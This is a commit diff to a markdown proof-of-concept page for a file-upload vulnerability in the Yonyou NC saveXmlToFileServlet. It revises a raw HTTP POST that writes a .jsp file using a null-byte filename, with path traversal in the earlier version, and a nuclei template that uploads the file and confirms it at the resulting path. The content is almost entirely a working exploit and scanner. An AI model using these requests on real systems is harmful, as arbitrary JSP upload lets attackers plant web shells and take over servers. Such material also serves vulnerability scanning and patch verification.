Update 用友NC接口saveXmlToFIleServlet存在文件上传.md

This commit is contained in:
wy876
2024-04-11 20:05:59 +08:00
committed by GitHub
parent febfe15845
commit 256e13cfc4

View File

@@ -11,15 +11,17 @@ title:"YONYOU NC"
## poc ## poc
``` ```
POST /portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=..\\..\\..\\webapps\\nc_web\\test9527.jsp%00 HTTP/1.1 POST /portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=12121.jsp%00 HTTP/1.1
Host: xxxxx Host:
Content-Type: application/octet-stream Content-Type: application/octet-stream
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 19
123 111
``` ```
文件路径:`http://ip:port/portal/processxml/12121.jsp`
## nuclei ## nuclei
```nuclei ```nuclei
id: yonyou-uap-saveXmlToFileServlet-upload-file id: yonyou-uap-saveXmlToFileServlet-upload-file
@@ -31,7 +33,7 @@ info:
http: http:
- method: POST - method: POST
path: path:
- "{{BaseURL}}/portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=..\\..\\..\\webapps\\nc_web\\{{randstr_1}}.jsp%00" - "{{BaseURL}}/portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename={{randstr_1}}.jsp%00"
headers: headers:
Cookie: LA_K1=langid Cookie: LA_K1=langid
serverEnable: localserver serverEnable: localserver
@@ -45,7 +47,7 @@ http:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/{{randstr_1}}.jsp" - "{{BaseURL}}/portal/processxml/{{randstr_1}}.jsp"
matchers: matchers:
- type: word - type: word
words: words: